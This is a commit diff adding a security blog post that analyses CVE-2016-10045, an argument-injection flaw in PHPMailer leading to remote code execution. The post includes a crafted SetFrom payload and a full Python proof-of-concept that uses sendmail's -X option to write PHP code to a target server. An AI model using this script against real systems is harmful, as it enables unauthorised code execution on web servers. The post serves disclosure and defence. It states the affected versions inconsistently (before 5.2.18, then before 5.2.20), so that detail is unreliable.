feat(blog): add English version of CVE-2016-10045 post

_posts/2024-11-07-CVE-10045.markdown

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+---
+layout: post
+title: "Analysis of CVE-2016-10045: RCE in PHPMailer"
+date: 2024-11-07
+---
+
+[CVE-2016-10045](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10045)\[1\] is a critical vulnerability in [PHPMailer](https://github.com/PHPMailer/PHPMailer)\[2\], a widely used library for sending emails in [PHP](https://www.php.net/)\[3\] web applications, affecting versions prior to 5.2.18. This vulnerability allows attackers to execute malicious code on a compromised web server by exploiting an input validation flaw in the PHPMailer code.
+
+This publication is also available in: [Portuguese](https://blog.lesis.lat/blog/CVE-2016-10045/)
+
+---
+
+**Intro**
+
+PHPMailer remains one of the most widely used email-sending libraries, with approximately 9 million users worldwide. Additionally, it is also used in numerous open-source projects such as WordPress, Drupal, and Joomla.
+
+This vulnerability is particularly critical because, in most cases, the attacker does not need to be an authenticated user to inject malicious code and perform a [remote code execution (RCE)](https://www.cloudflare.com/en-gb/learning/security/what-is-remote-code-execution/)\[4\] on a web server.
+
+To exploit this vulnerability, an attacker simply needs to identify a form field that uses PHPMailer for email sending and submit the payload.
+
+---
+
+**Description**
+
+This vulnerability stems from an inadequate fix for [CVE-2016-10033](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033)\[5\]. In PHPMailer version 5.2.17, the *$Sender* variable is sanitized using the *escapeshellarg()* function before being passed to the *mail()* function. However, an attacker can add an extra single quotation mark that isn’t properly escaped, breaking the intended flow of *escapeshellarg()*.
+
+Example:
+
+```php
+$mail \-\> SetFrom("\\"Attacker\\\\' \-Param2 \-Param3\\"@test.com", 'Client Name');
+```
+
+The above will result in the following list of arguments being passed to the email-sending application:
+
+```
+Arg no. 0 \== \[/usr/sbin/sendmail\]  
+Arg no. 1 \== \[-t\]  
+Arg no. 2 \== \[-i\]  
+Arg no. 3 \== \[-f\\"Attacker\\\\\\\]  
+Arg no. 4 \== \[-Param2\]  
+Arg no. 5 \== \[-Param3"@test.com'\]
+```
+
+The attacker can pass the **\-X** parameter to create a log containing arbitrary PHP code, making versions prior to **5.2.20** vulnerable to remote code execution (RCE).  
+
+---
+
+**Proof of Concept**
+
+Python script to exploit the vulnerability:
+
+```python
+#!/usr/bin/env python3  
+import requests  
+import argparse  
+import re  
+def exploit(url, dir):  
+    if not re.match(r'^https?://', url):  
+        url \= f"https://{url}"  
+    payload \= "\\"attacker\\\\' \-oQ/tmp/ \-X%s/phpcode.php  some\\"@email.com" % dir  
+    code \= "\<?php phpinfo(); ?\>"  
+
+    data \= {'action': 'send', 'name': 'LESIS', 'email': payload, 'msg': code}  
+
+    response \= requests.post(url, data=data)  
+
+    if response.status\_code \== 200:  
+        print("Exploitation successful\!")  
+    else:  
+        print("Exploitation failed.")  
+def main():  
+    parser \= argparse.ArgumentParser(description='CVE-2016-10045 | PHPMailer')  
+    parser.add\_argument('-t', '--target', required=True, help='Target URL')  
+    parser.add\_argument('-d', '--dir', required=True, help='Remote recording directory')  
+    args \= parser.parse\_args()  
+
+    if args.target and args.dir:  
+        exploit(args.target, args.dir)  
+if \_\_name\_\_ \== '\_\_main\_\_':  
+    main()
+```
+
+---
+
+**Conclusion**
+
+The vulnerability arises from a failure of improper input sanitization input in PHPMailer, allowing attackers to execute malicious code on compromised web servers. This poses a significant risk, as exploitation can be carried out without requiring authentication, allowing for remote code injection (RCE) in vulnerable applications.
+
+The potential impact of a successful exploitation includes the execution of arbitrary code, which potentially leads to security breaches and unauthorized access to sensitive information.
+
+The recommended mitigation is to update PHPMailer to version 5.2.20 or higher.  
+
+---
+
+**References**
+
+* \[1\] [MITRE \- CVE-2016-10045](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10045)  
+* \[2\] [GitHub \- PHPMailer: A full-featured email creation and transfer class for PHP](https://github.com/PHPMailer/PHPMailer)  
+* \[3\] [PHP \- A popular general-purpose scripting language](https://www.php.net)  
+* \[4\] [Cloudflare \- What is remote code execution?](https://www.cloudflare.com/en-gb/learning/security/what-is-remote-code-execution/)  
+* \[5\] [MITRE \- CVE-2016-10033](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033)